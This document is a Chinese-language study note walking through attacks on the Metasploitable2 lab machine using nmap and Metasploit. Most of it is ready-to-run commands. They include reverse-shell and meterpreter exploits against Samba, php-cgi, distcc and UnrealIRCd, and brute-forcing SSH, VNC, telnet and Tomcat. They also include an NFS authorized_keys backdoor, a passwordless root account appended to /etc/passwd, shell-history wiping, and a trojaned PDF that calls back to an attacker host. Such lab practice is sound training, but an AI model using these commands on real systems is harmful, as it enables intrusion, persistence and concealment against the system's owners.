Metasploitable2与metasploit笔记
Metasploitable2
Metasploitable2是一个特别制作的ubuntu系统,来作为安全工具测试和演示常见漏洞攻击。
Metasploitable2用户密码:msfadmin/msfadmin
系统中预装了几个Web漏洞的靶场

nmap对靶机扫描
根据扫描结果判断可能存在的漏洞

Metasploit启动
启动 postgreSQL 数据库,因为Metasploit需要使用postgreSQL进行数据存储
service postgresql start
初始化数据库
msfdb init
启动 msfconsole,进入到操作界面
msfconsole
在metasploit中可以导入nmap的扫描结构
# nmap扫描并输出文件test.xml
nmap -sV 192.168.157.133 -p 1-65535 -oX test.xml
# 进入msf中通过命令导入数据库
msf> db_import test.xml
# 查看
msf> services
也可以直接扫描,该扫描直接保存在数据库中
db_nmap -sV 192.168.157.133 -p 1-65535
samba
Samba本身是一个实现Server Messages Block协议提供跨平台文件共享服务的应用。此软件在各系统之间搭起一座桥梁,让两者的资源可互通有无。
samba命令执行漏洞
影响版本Samba 3.0.0 - 3.0.25rc3
这个漏洞出现的前提是使用了 username map script 配置选项。漏洞出现在数据库更新用户口令的代码时,没有对代码进行严格的过滤,便把用户的所有输入信息直接传递给了Shell执行,从而可以执行任意的系统命令。
- 搜索可利用的攻击模块
search samba

- 利用该模块,并配置相应参数
use exploit/multi/samba/usermap_script
show payloads
set payload cmd/unix/reverse
set RHOST 192.168.157.133
set RPORT 445
- 查看配置信息并进行攻击
show options
exploit


samba目录遍历漏洞
影响版本Samba 3.4.5
该漏洞危害是能够使攻击者读写任意权限的目录
use auxiliary/admin/smb/samba_symlink_traversal
set RHOST 192.168.157.133
# 选择共享目录
set SMBSHARE tmp
exploit

通过smbclient //192.168.157.133/tmp 访问该目录

php_cgi参数注入
影响版本php < 5.3.12,php < 5.4.2
apache调用php解释器解释.php文件时,会传递url参数,如果在url后加了命令行开关并传递到php-cgi程序,导致源代码泄露和任意代码执行
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.157.133
show payloads
set PAYLOAD php/meterpreter/reverse_tcp
exploit
Ingreslock 1524端口后门漏洞
ingreslock 1524端口是Ingres数据库管理系统锁定服务,该端口经常被用作后门程序监听端口,可以通过该端口直接连接
telnet 192.168.137.133 1524
弱口令爆破
暴力破解SSH
metasploit字典文件位置
cd /usr/share/metasploit-framework/data/wordlists/
攻击利用
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.157.133
#设置字典
set userpass_file /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt
exploit

当匹配成功的时候,攻击脚本会自动创建一个 SSH 连接会话,可以使用sessions -i id号这个命令将终端切换到会话中。

暴力破解VNC远程连接
vnc是远程控制软件
use auxiliary/scanner/vnc/vnc_login
#配置暴力破解的线程数
set THREADS 5
set RHOSTS 192.168.157.133
set userpass_file /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt
exploit

telnet爆破
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.157.133
set USER_FILE username.txt
set PASS_FILE password.txt
exploit

通过tomcat manager部署认证代码上传后门
暴力破解tomcat密码
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.157.133
set RPORT 8180
exploit
图中加号显示匹配的用户名密码

得到密码之后,可以登录tomcat manager,执行payload使用PUT操作上传一个war包(Java web工程的打包格式),包中包含一个jsp文件来提供meterpreter后门。
use exploit/multi/http/tomcat_mgr_deploy
set RHOSTS 192.168.157.133
set RPORT 8180
#配置用户名密码
set httpusername tomcat
set httppassword tomcat
exploit

ftp后门漏洞
影响版本vsftpd-2.3.4
ftp服务使用的vsftpd软件,具备一个可以作为后门的漏洞。这个版本的软件如果接受到的 ftp 用户名后面有笑脸符号,则会自动在 6200 端口上打开一个监听的 Shell。
查询ftp版本号:
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.157.133

下面为手工利用:
-
本机连接服务器并随便输入用户名,及:),之后随便输入密码

-
在靶机上发现6200端口已经打开

-
本机成功连接该端口

通过Metasploit自动利用:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.157.133
NFS错误配置
NFS即网络文件系统,允许网络中的计算机之间通过TCP/IP网络共享资源。
当NFS配置错误时候,让根目录被共享并具有可写的权限,攻击机从而可以挂载整个路径并写入/root/.ssh/authorized_keys获取root用户对靶机的SSH免密码登录。
use auxiliary/scanner/nfs/nfsmount
set RHOSTS 192.168.157.133
exploit

挂载根目录到本地mnt目录
mount -t nfs -o nolock 192.168.157.133:/ /mnt

选择使用SSH无密码登录的方式创建一个后门。将公钥证书传到服务器上的指定目录,在客户端使用私钥证书就可以直接登录到服务器的SSH服务了。
- 首先创建一组公私钥证书,使用
ssh-keygen命令,创建得到的证书在 Kali 主机的 /root/.ssh 目录: - 上一步骤创建的 id_rsa.pub 证书添加到目标服务器的 /root/.ssh authorized_keys 文件的尾部:
cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys - 连接的SSH命令中默认使用的证书就是/root/.ssh/id_rsa,该方式是root用户登录,如果使用其他用户则需要把公钥证书放到目标服务器其他用户的家目录 .ssh/authorized_keys 文件中。
- 登录
ssh root@192.168.157.133

Distcc命令执行漏洞及提权
distcc是一个将C、C++等程序的编译任务分发到网络中多个主机的程序,而力求实现和本地编译相同的结果。但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode 1.5版本及其他版本的distcc 2.x版本配署对端口和执行的任务检查不严格,从而造成攻击者可以利用分布式的编译任务执行自己想要执行的命令。
use exploit/unix/misc/distcc_exec
set RHOSTS 192.168.157.133
#设置payload,可以通过show payloads查看
set payload 0
exploit
成功后发现是权限低的damon用户,需要提权

提权的基本流程:
- 查看操作系统版本
- 查看版本内核
- 查看当前用户权限
- 列举suid文件
- 查看安装软件漏洞
- 利用漏洞提权

通过有漏洞的nmap提权

Unreal后门利用并创建访问后门
Unreal Ircd是一个开源的IRC服务器。在Unreal Ircd 3.2.8.1版本中,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程的攻击者能够利用这个潜在的木马执行任意代码。
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.157.133
set payload 0
创建简单后门
在/etc/passwd中一行记录使用冒号分为七个字段,其具体的含义为<用户名字>:<口令>:<用户标识>:<组标识>:<注释>:<主目录>:<登录的 Shell>
但是把真正的加密后的用户口令字存放到/etc/shadow中,而在/etc/passwd的口令字段中只存放一个特殊的字符x代替

创建无口令账户my登录后门
echo 'my::0:0::/:/bin/sh' >> /etc/passwd
清理痕迹
在shell中通过命令history就能看到过去使用的命令。清除历史命令history -c。并且一些命令会保存在内部的缓存中,等退出时会一并写入。所以通过history -w命令要求立即更新history记录后再删除
创建包含后门的PDF文件
在Windows和Mac系统上的Adobe Reader和Acrobat9.3.3和8.2.3之前的版本中,不会限制警告信息框中嵌入的文本域中的内容。因此,攻击者可以很轻易的利用该漏洞欺骗用户去执行PDF文件中嵌入的任意可执行程序。
通过攻击模块是向PDF文件中嵌入Metasploit payload的方式有两种:
exploit/windows/fileformat/adobe_pdf_embedded_exe:向 PDF 文件中直接注入 payload
exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs:非标准方式注入 payload
use exploit/windows/fileformat/adobe_pdf_embedded_exe
#配置攻击模块的参数
#EXENAME:嵌入到文件中的可执行文件的路径,默认攻击模块会提供一组简单的payload
#FILENAME:输出的PDF文件的名称,默认为evil.pdf
#INFILENAME:输入的PDF文件的路径,默认使用MSF自带的PDF
#LAUNCH_MESSAGE:用来欺骗用户点击可执行程序的提示信息
#此处使用的payload是windows/meterpreter/reverse_tcp,其它payloads可以使用 show payloads查看并选择
set payload windows/meterpreter/reverse_tcp
#需要指定IP地址和端口用来接收后门建立的连接
set lhost 192.168.157.128
set lport 443


浙公网安备 33010602011771号